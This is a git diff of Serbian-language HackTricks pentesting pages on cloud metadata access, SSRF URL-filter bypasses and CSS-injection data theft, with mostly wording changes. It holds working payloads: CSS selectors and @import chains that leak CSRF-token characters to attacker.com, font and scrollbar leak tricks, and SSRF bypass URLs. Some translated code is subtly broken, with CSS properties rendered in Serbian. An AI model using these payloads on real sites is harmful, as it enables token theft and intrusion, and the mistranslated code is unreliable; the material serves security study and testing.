@ -542,7 +540,7 @@ Kubernetes ETCD može sadržati API ključeve, interne IP adrese i portove. Pris
## Docker
Docker metapodaci se mogu pristupiti lokalno, sa primerima za dobijanje informacija o kontejnerima i slikama:
Docker metapodaci mogu se pristupiti lokalno, sa primerima za povlačenje informacija o kontejnerima i slikama:
* Jednostavan primer za pristup metapodacima kontejnera i slika putem Docker socketa:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
@ -552,6 +550,6 @@ Docker metapodaci se mogu pristupiti lokalno, sa primerima za dobijanje informac
## Rancher
Metapodaci Rancher-a se mogu pristupiti korišćenjem:
Metapodaci Rancher-a mogu se pristupiti korišćenjem:
* `curl http://rancher-metadata/<version>/<path>`

View file

@ -1,4 +1,4 @@
# Bypassovanje formata URL-a
# Bypassovanje URL formata
<details>
@ -6,9 +6,9 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -93,7 +93,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
```
![](<../../.gitbook/assets/image (649) (1) (1).png>)
**Burp ekstenzija** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementira zaobilaznice za formatiranje IP adresa.
**Burp ekstenzija** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementira zaobilaznice za formatiranje IP adrese.
### Parser domena
```bash
@ -167,11 +167,11 @@ https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
### Fuzziranje
Alatka [**recollapse**](https://github.com/0xacb/recollapse) može generisati varijacije iz datog unosa kako bi pokušala da zaobiđe korišćeni regex. Pogledajte [**ovaj post**](https://0xacb.com/2022/11/21/recollapse/) takođe za više informacija.
### Bypass preko preusmeravanja
### Zaobilaženje putem preusmeravanja
Moguće je da server **filtrira originalni zahtev** za SSRF **ali ne i** mogući odgovor **preusmeravanja** na taj zahtev. Na primer, server ranjiv na SSRF putem: `url=https://www.google.com/` može **filtrirati url parametar**. Ali ako koristite [python server za odgovor sa 302](https://pastebin.com/raw/ywAUhFrv) na mesto gde želite preusmeriti, možda ćete moći da **pristupite filtriranim IP adresama** poput 127.0.0.1 ili čak filtriranim **protokolima** poput gophera.\
[Pogledajte ovaj izveštaj.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
@ -197,9 +197,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Objasnjene Trikovi
### Trik sa obrnutom kosom crtom
### Trik sa kosom crtom
_Trik sa obrnutom kosom crtom_ iskorišćava razliku između [WHATWG URL Standarda](https://url.spec.whatwg.org/#url-parsing) i [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Dok je RFC3986 opšti okvir za URLe, WHATWG je specifičan za web URL-ove i usvojen je od strane modernih pretraživača. Ključna razlika leži u tome što WHATWG standard prepoznaje obrnutu kosu crtu (`\`) kao ekvivalentnu kosoj crti (`/`), utičući na to kako se URL-ovi parsiraju, posebno označavajući prelazak sa imena hosta na putanju u URL-u.
_Trik sa kosom crtom_ iskorišćava razliku između [WHATWG URL Standarda](https://url.spec.whatwg.org/#url-parsing) i [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Dok je RFC3986 opšti okvir za URLe, WHATWG je specifičan za web URL-ove i usvojen je od strane modernih pretraživača. Ključna razlika leži u tome što WHATWG standard prepoznaje kosu crtu (`\`) kao ekvivalentnu kosoj crti (`/`), utičući na to kako se URL-ovi parsiraju, posebno označavajući prelazak sa imena hosta na putanju u URL-u.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
@ -207,7 +207,7 @@ _Trik sa obrnutom kosom crtom_ iskorišćava razliku između [WHATWG URL Standar
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>)
slika sa [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
Slika preuzeta sa [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
## Reference
@ -216,7 +216,7 @@ slika sa [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-co
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,9 +24,9 @@ Drugi načini podrške HackTricks-u:
## CSS Injection
### Attribute Selector
### Selektor atributa
CSS selektori su kreirani da se poklapaju sa vrednostima `name` i `value` atributa `input` elementa. Ako vrednost atributa `value` input elementa počinje sa određenim karakterom, učitava se unapred definisani spoljni resurs:
CSS selektori su oblikovani da se podudaraju sa vrednostima `name` i `value` atributa `input` elementa. Ako vrednost atributa `value` input elementa počinje sa određenim karakterom, učitava se unapred definisani spoljni resurs:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
@ -39,9 +39,11 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
#### Bypass za skrivene elemente
Međutim, ovaj pristup ima ograničenje prilikom rukovanja skrivenim input elementima (`type="hidden"`) jer skriveni elementi ne učitavaju pozadine.
Da biste zaobišli ovu ograničenost, možete ciljati sledeći susedni element koristeći kombinator opšteg suseda `~`. Zatim se CSS pravilo primenjuje na sve srodne elemente koji slede nakon skrivenog input elementa, što uzrokuje učitavanje pozadinske slike:
#### Bypass za Skrivene Elemente
Da biste zaobišli ovo ograničenje, možete ciljati naredni susedni element koristeći `~` kombinator za opšte susede. Zatim se CSS pravilo primenjuje na sve susede koji slede nakon skrivenog input elementa, što uzrokuje učitavanje pozadinske slike:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
@ -52,7 +54,7 @@ background-image: url(https://attacker.com/exfil/csrF);
Da bi tehnika CSS ubacivanja bila efikasna, moraju biti ispunjeni određeni uslovi:
1. **Dužina Payload-a**: Vektor CSS ubacivanja mora podržavati dovoljno dugačke payload-e da bi mogao da smesti oblikovane selektore.
2. **Ponovno ocenjivanje CSS-a**: Trebalo bi da imate mogućnost da okvirno postavite stranicu, što je neophodno da bi se pokrenulo ponovno ocenjivanje CSS-a sa novim generisanim payload-ima.
2. **Ponovna evaluacija CSS-a**: Trebalo bi da imate mogućnost da okvirno postavite stranicu, što je neophodno da bi se pokrenula ponovna evaluacija CSS-a sa novim generisanim payload-ima.
3. **Spoljni Resursi**: Tehnika pretpostavlja mogućnost korišćenja slika hostovanih spolja. Ovo može biti ograničeno politikom bezbednosti sadržaja (CSP) sajta.
### Slepi selektor atributa
@ -74,7 +76,7 @@ Kombinovanjem ove tehnike sa sledećom **@import** tehnikom, moguće je eksfiltr
Prethodna tehnika ima neke nedostatke, proverite preduslove. Morate ili biti u mogućnosti da **pošaljete više linkova žrtvi**, ili morate biti u mogućnosti da **ubacite iframe na stranicu ranjivu na CSS ubacivanje**.
Međutim, postoji još jedna pametna tehnika koja koristi **CSS `@import`** da poboljša kvalitet tehnike.
Međutim, postoji još jedna pametna tehnika koja koristi **CSS `@import`** da bi poboljšala kvalitet tehnike.
Ovo je prvi put pokazao [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) i radi na sledeći način:
@ -83,10 +85,10 @@ Umesto učitavanja iste stranice iznova i iznova sa desetinama različitih paylo
@import url('//attacker.com:5001/start?');
```
1. **Uvoz će primiti neki CSS skript** od napadača i **pregledač će ga učitati**.
2. Prvi deo CSS skripta koji će napadač poslati je **još jedan `@import` ka serveru napadača ponovo**.
2. Prvi deo CSS skripta koji će napadač poslati je **još jedan `@import` ka serveru napadača.**
3. Server napadača još neće odgovoriti na ovaj zahtev, jer želimo da procuri neke karaktere, a zatim odgovoriti na ovaj uvoz sa payloadom kako bi procurili sledeće.
4. Drugi i veći deo payloada će biti **payload za curenje atributa selektora**.
5. Ovo će poslati serveru napadača **prvi karakter tajne i poslednji**.
4. Drugi i veći deo payloada će biti **payload za curenje atributa selektora**
5. Ovo će poslati serveru napadača **prvi karakter tajne i poslednji**
6. Kada server napadača primi **prvi i poslednji karakter tajne**, odgovoriće na uvoz koji je zatražen u koraku 2.
7. Odgovor će biti tačno isti kao **koraci 2, 3 i 4**, ali ovog puta će pokušati **pronaći drugi karakter tajne, a zatim predposlednji**.
@ -103,11 +105,11 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
Ovo omogućava skripti da brže otkrije tajnu.
Ovo omogućava skriptu da brže otkrije tajnu.
{% endhint %}
{% hint style="warning" %}
Ponekad skripta **ne detektuje tačno da je pronađeni prefiks + sufiks već kompletan flag** i nastaviće dalje (u prefiksu) i unazad (u sufiksu) i u nekom trenutku će se zablokirati.\
Ponekad skript **ne detektuje tačno da je pronađeni prefiks + sufiks već kompletan flag** i nastaviće dalje (u prefiksu) i unazad (u sufiksu) i u nekom trenutku će se zablokirati.\
Nema brige, samo proverite **izlaz** jer **možete videti flag tamo**.
{% endhint %}
@ -116,7 +118,7 @@ Nema brige, samo proverite **izlaz** jer **možete videti flag tamo**.
Drugi načini pristupa delovima DOM-a pomoću **CSS selektora**:
* **`.class-to-search:nth-child(2)`**: Ovo će pronaći drugu stavku sa klasom "class-to-search" u DOM-u.
* **`:empty`** selektor: Korišćen je na primer u [**ovom writeup-u**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
* **`:empty`** selektor: Korišćen na primer u [**ovom writeup-u**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
@ -124,9 +126,9 @@ Drugi načini pristupa delovima DOM-a pomoću **CSS selektora**:
### XS-Search zasnovan na greškama
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Reference:** [CSS bazirani napad: Zloupotreba unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [XS-Search PoC zasnovan na greškama od strane @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Opšta namera je **koristiti prilagođeni font sa kontrolisane tačke** i osigurati da se **tekst (u ovom slučaju, 'A') prikaže samo ovim fontom ako određeni resurs (`favicon.ico`) ne može da se učita**.
Opšti cilj je **koristiti prilagođeni font sa kontrolisane tačke** i osigurati da se **tekst (u ovom slučaju, 'A') prikaže samo ovim fontom ako određeni resurs (`favicon.ico`) ne može da se učita**.
```html
<!DOCTYPE html>
<html>
@ -165,20 +167,20 @@ font-family: 'poc';
**`:target`** pseudo-klasa se koristi za odabir elementa ciljanog putem **URL fragmenta**, kako je navedeno u [specifikaciji CSS selektora nivoa 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Važno je razumeti da `::target-text` ne odgovara nijednom elementu osim ako tekst nije eksplicitno ciljan fragmentom.
Bezbednosna zabrinutost se javlja kada napadači iskorišćavaju mogućnost **Skrolovanja do teksta** fragmenta, omogućavajući im da potvrde prisustvo određenog teksta na veb stranici učitavanjem resursa sa svojeg servera putem HTML ubacivanja. Metoda uključuje ubacivanje CSS pravila poput ovog:
Bezbednosna zabrinutost se javlja kada napadači iskorišćavaju mogućnost **Skrolovanja do teksta** fragmenta, omogućavajući im da potvrde prisustvo određenog teksta na veb stranici učitavanjem resursa sa svojeg servera putem HTML ubacivanja. Metoda uključuje ubacivanje CSS pravila poput:
```css
:target::before { content : url(target.png) }
```
U takvim scenarijima, ako je tekst "Administrator" prisutan na stranici, resurs `target.png` se zahteva sa servera, što ukazuje na prisustvo teksta. Primer ovog napada može se izvršiti putem posebno oblikovanog URL-a koji ugrađuje ubačeni CSS zajedno sa fragmentom Scroll-to-text:
U takvim scenarijima, ako je tekst "Administrator" prisutan na stranici, resurs `target.png` se zahteva sa servera, što ukazuje na prisustvo teksta. Primer ovog napada može se izvršiti putem posebno oblikovanog URL-a koji ugrađuje ubačeni CSS zajedno sa fragmentom za skrolovanje do teksta:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Ovde napad manipuliše HTML ubacivanjem kako bi preneo CSS kod, ciljajući specifičan tekst "Administrator" putem fragmenta Scroll-to-text (`#:~:text=Administrator`). Ako se tekst pronađe, naznačeni resurs se učitava, nenamerno signalizirajući svoje prisustvo napadaču.
Napad manipuliše HTML ubacivanjem kako bi preneo CSS kod, ciljajući specifičan tekst "Administrator" kroz Scroll-to-text fragment (`#:~:text=Administrator`). Ako se tekst pronađe, naznačeni resurs se učitava, nenamerno signalizirajući svoje prisustvo napadaču.
Za ublažavanje, treba imati na umu sledeće tačke:
1. **Ograničeno podudaranje STTF-a**: Fragment Scroll-to-text (STTF) je dizajniran da se podudara samo sa rečima ili rečenicama, čime se ograničava njegova sposobnost da otkrije proizvoljne tajne ili tokene.
2. **Ograničenje na kontekste pregledanja najvišeg nivoa**: STTF funkcioniše isključivo u kontekstima pregledanja najvišeg nivoa i ne funkcioniše unutar iframova, čime se svaki pokušaj eksploatacije čini primetnijim korisniku.
1. **Ograničeno podudaranje STTF-a**: Scroll-to-text Fragment (STTF) je dizajniran da se podudara samo sa rečima ili rečenicama, čime se ograničava njegova sposobnost otkrivanja proizvoljnih tajni ili tokena.
2. **Ograničenje na kontekste pregledanja najvišeg nivoa**: STTF funkcioniše isključivo u kontekstima pregledanja najvišeg nivoa i ne funkcioniše unutar iframes-a, čime se svaki pokušaj eksploatacije čini primetnijim korisniku.
3. **Potreba za aktivacijom korisnika**: STTF zahteva gest aktivacije korisnika da bi funkcionisao, što znači da su eksploatacije izvodljive samo putem navigacija koje je inicirao korisnik. Ovaj zahtev značajno umanjuje rizik od automatizovanih napada bez interakcije korisnika. Ipak, autor blog posta ukazuje na specifične uslove i zaobilaze (npr. socijalno inženjerstvo, interakcija sa rasprostranjenim ekstenzijama pregledača) koji mogu olakšati automatizaciju napada.
Svest o ovim mehanizmima i potencijalnim ranjivostima ključna je za održavanje bezbednosti veba i zaštite od takvih eksploatativnih taktika.
@ -189,7 +191,7 @@ Možete proveriti [**eksploit koji koristi ovu tehniku za CTF ovde**](https://gi
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Možete specificirati **spoljne fontove za određene unicode vrednosti** koje će biti **prikupljene samo ako su te unicode vrednosti prisutne** na stranici. Na primer:
Možete specificirati **spoljne fontove za specifične unicode vrednosti** koje će biti **prikupljene samo ako su te unicode vrednosti prisutne** na stranici. Na primer:
```html
<style>
@font-face{
@ -214,13 +216,13 @@ font-family:poc;
<p id="sensitive-information">AB</p>htm
```
Kada pristupite ovoj stranici, Chrome i Firefox dohvaćaju "?A" i "?B" jer tekstni čvor sensitive-information sadrži znakove "A" i "B". Međutim, Chrome i Firefox ne dohvaćaju "?C" jer ne sadrži "C". To znači da smo uspeli da pročitamo "A" i "B".
Kada pristupite ovoj stranici, Chrome i Firefox dohvaćaju "?A" i "?B" jer tekstni čvor sensitive-information sadrži znakove "A" i "B". Međutim, Chrome i Firefox ne dohvaćaju "?C" jer ne sadrži "C". To znači da smo uspeli pročitati "A" i "B".
### Izvlačenje teksta iz čvora (I): ligature <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Tehnika opisana uključuje izvlačenje teksta iz čvora iskorišćavanjem font ligatura i praćenje promena u širini. Proces uključuje nekoliko koraka:
Opisana tehnika uključuje izvlačenje teksta iz čvora iskorišćavanjem font ligatura i praćenjem promena u širini. Proces uključuje nekoliko koraka:
1. **Kreiranje prilagođenih fontova**:
- SVG fontovi se oblikuju sa glifovima koji imaju atribut `horiz-adv-x`, koji postavlja veliku širinu za glif koji predstavlja sekvencu od dva znaka.
@ -228,8 +230,8 @@ Tehnika opisana uključuje izvlačenje teksta iz čvora iskorišćavanjem font l
- Ovi fontovi se zatim konvertuju u woff format koristeći fontforge.
2. **Detekcija promena u širini**:
- CSS se koristi kako bi se osiguralo da tekst ne prelazi u novi red (`white-space: nowrap`) i prilagodilo stil skrol bara.
- Pojava horizontalnog skrol bara, stilizovanog na poseban način, deluje kao indikator (orakul) da je određena ligatura, a time i određena sekvencija znakova, prisutna u tekstu.
- CSS se koristi kako bi se osiguralo da tekst ne prelazi u novi red (`white-space: nowrap`) i kako bi se prilagodio stil trake za pomeranje.
- Pojava horizontalne trake za pomeranje, stilizovane na poseban način, deluje kao indikator (orakul) da je određena ligatura, a time i određena sekvencija znakova, prisutna u tekstu.
- Uključeni CSS:
```css
body { white-space: nowrap };
@ -239,7 +241,7 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
3. **Proces eksploatacije**:
- **Korak 1**: Fontovi se kreiraju za parove znakova sa značajnom širinom.
- **Korak 2**: Koristi se trik sa skrol barom kako bi se detektovalo kada je veliki glif širine (ligatura za par znakova) prikazan, što ukazuje na prisustvo sekvence znakova.
- **Korak 2**: Koristi se trik sa trakom za pomeranje kako bi se detektovalo kada je veliki glif širine (ligatura za par znakova) prikazan, što ukazuje na prisustvo sekvence znakova.
- **Korak 3**: Nakon detekcije ligature, generišu se novi glifovi koji predstavljaju sekvence od tri znaka, uključujući detektovani par i dodajući prethodni ili sledeći znak.
- **Korak 4**: Sprovodi se detekcija troznakovne ligature.
- **Korak 5**: Proces se ponavlja, postepeno otkrivajući ceo tekst.
@ -248,13 +250,13 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
- Trenutna metoda inicijalizacije korišćenjem `<meta refresh=...` nije optimalna.
- Efikasniji pristup mogao bi uključivati trik sa CSS `@import`, poboljšavajući performanse eksploatacije.
### Izvlačenje teksta iz čvora (II): otkrivanje karakterskog skupa sa podrazumevanim fontom (bez potrebe za spoljnim resursima) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Izvlačenje teksta iz čvora (II): otkrivanje karakterskog skupa sa podrazumevanim fontom (bez potrebe za spoljnim sredstvima) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** [PoC korišćenjem Comic Sans od strane @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Ovaj trik je objavljen u ovom [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Karakterski skup korišćen u tekstnom čvoru može biti otkriven **korišćenjem podrazumevanih fontova** instaliranih u pretraživaču: nisu potrebni spoljni -ili prilagođeni- fontovi.
Ovaj trik je objavljen u ovom [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Karakterski skup korišćen u tekstnom čvoru može biti otkriven **korišćenjem podrazumevanih fontova** instaliranih u pregledaču: nisu potrebni spoljni -ili prilagođeni- fontovi.
Koncept se zasniva na korišćenju animacije kako bi se postepeno proširila širina `div`-a, omogućavajući da se po jedan znak prebaci iz 'sufiksa' dela teksta u 'prefiks' deo. Ovaj proces efikasno deli tekst na dva dela:
Koncept se vrti oko korišćenja animacije kako bi se postepeno proširila širina `div`-a, omogućavajući da se po jedan znak prebaci iz 'sufiksa' dela teksta u 'prefiks' deo. Ovaj proces efikasno deli tekst na dva dela:
1. **Prefiks**: Početna linija.
2. **Sufiks**: Naredne linije.
@ -273,13 +275,13 @@ B
**CADB**
Tokom ove tranzicije, **unicode-range trik** se koristi kako bi se identifikovao svaki novi znak dok se pridružuje prefiksu. To se postiže prebacivanjem fonta na Comic Sans, koji je primetno viši od podrazumevanog fonta, što posledično pokreće vertikalni skrol bar. Pojava ovog skrol bara indirektno otkriva prisustvo novog znaka u prefiksu.
Tokom ove tranzicije, **unicode-range trik** se koristi kako bi se identifikovao svaki novi znak dok se pridružuje prefiksu. To se postiže prebacivanjem fonta na Comic Sans, koji je primetno viši od podrazumevanog fonta, što posledično pokreće vertikalnu traku za pomeranje. Pojava ove trake za pomeranje indirektno otkriva prisustvo novog znaka u prefiksu.
Iako ovaj metod omogućava otkrivanje jedinstvenih znakova kako se pojavljuju, ne precizira koji se znak ponavlja, samo da se ponavljanje desilo.
Iako ovaj metod omogućava detekciju jedinstvenih znakova kako se pojavljuju, ne precizira koji se znak ponavlja, samo da se ponavljanje desilo.
{% hint style="info" %}
U osnovi, **unicode-range se koristi za otkrivanje znaka**, ali kako ne želimo da učitavamo spoljni font, moramo pronaći drugi način.\
Kada se **znak pronađe**, dodeljuje mu se prethodno instaliran **Comic Sans font**, koji **uvećava** znak i **pokreće skrol bar** koji će **otkriti pronađeni znak**.
Kada se **znak pronađe**, dodeljuje mu se prethodno instaliran **Comic Sans font**, koji **uvećava** znak i **pokreće traku za pomeranje** koja će **otkriti pronađeni znak**.
{% endhint %}
Proverite kod izdvojen iz PoC-a:
@ -393,7 +395,7 @@ text-transform: uppercase; /* only capital letters leak */
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
```html
5% { širina: 120px }
6% { širina: 140px }
7% { širina: 0px }
@ -408,17 +410,17 @@ div::-webkit-scrollbar:vertical {
pozadina: plava var(--leak);
}
```
### Curenje teksta čvora (III): otkrivanje skupa znakova pomoću zadane fonta sakrivanjem elemenata (bez potrebe za spoljnim sredstvima) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Curenje teksta čvora (III): otkrivanje skupa znakova pomoću podrazumevanog fonta sakrivanjem elemenata (bez potrebe za spoljnim sredstvima) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom tekstu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Ovaj slučaj je vrlo sličan prethodnom, međutim, u ovom slučaju cilj pravljenja određenih **znakova većih od drugih je da se nešto sakrije** kao što je dugme koje ne sme biti pritisnuto od strane bota ili slika koja se neće učitati. Tako bismo mogli da merimo radnju (ili nedostatak radnje) i saznamo da li je određeni znak prisutan unutar teksta.
Ovaj slučaj je vrlo sličan prethodnom, međutim, u ovom slučaju cilj pravljenja određenih **znakova većih od drugih je da se nešto sakrije** kao što je dugme koje bot ne bi pritisnuo ili slika koja se ne bi učitala. Tako bismo mogli da merimo radnju (ili nedostatak radnje) i saznamo da li je određeni znak prisutan unutar teksta.
### Curenje teksta čvora (III): otkrivanje skupa znakova pomoću vremena keširanja (bez potrebe za spoljnim sredstvima) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom tekstu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
U ovom slučaju, možemo pokušati da otkrijemo da li je znak u tekstu učitavanjem lažne fonte sa istog porekla:
U ovom slučaju, možemo pokušati da otkrijemo da li se znak nalazi u tekstu učitavanjem lažnog fonta sa istog porekla:
```css
@font-face {
font-family: "A1";
@ -426,7 +428,7 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Ako postoji podudaranje, **font će biti učitan sa `/static/bootstrap.min.css?q=1`**. Iako se neće učitati uspešno, **pregledač bi trebalo da ga kešira**, i čak ako nema keša, postoji mehanizam **304 not modified**, tako da bi **odgovor trebalo da bude brži** od drugih stvari.
Ako postoji podudaranje, **font će biti učitan sa `/static/bootstrap.min.css?q=1`**. Iako se neće uspešno učitati, **pregledač bi trebalo da ga kešira**, i čak ako nema keša, postoji mehanizam **304 not modified**, tako da bi **odgovor trebao biti brži** od drugih stvari.
Međutim, ako vremenska razlika između keširanog odgovora i nekeširanog nije dovoljno velika, ovo neće biti korisno. Na primer, autor je pomenuo: Međutim, nakon testiranja, otkrio sam da je prvi problem to što brzina nije mnogo drugačija, a drugi problem je što bot koristi zastavicu `disk-cache-size=1`, što je zaista promišljeno.
@ -434,7 +436,7 @@ Međutim, ako vremenska razlika između keširanog odgovora i nekeširanog nije
**Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom izveštaju](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
U ovom slučaju možete naznačiti **CSS da učita stotine lažnih fontova** sa istog porekla kada se desi podudaranje. Na ovaj način možete **meriti vreme** koje je potrebno i saznati da li se karakter pojavljuje ili ne sa nečim poput:
U ovom slučaju možete naznačiti **CSS da učita stotine lažnih fontova** sa istog porekla kada se dogodi podudaranje. Na ovaj način možete **meriti vreme** koje je potrebno i saznati da li se karakter pojavljuje ili ne sa nečim poput:
```css
@font-face {
font-family: "A1";
@ -462,7 +464,7 @@ Dakle, ako se font ne podudara, očekuje se da će vreme odgovora prilikom poset
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -472,7 +474,7 @@ Dakle, ako se font ne podudara, očekuje se da će vreme odgovora prilikom poset
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -9,14 +9,14 @@
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
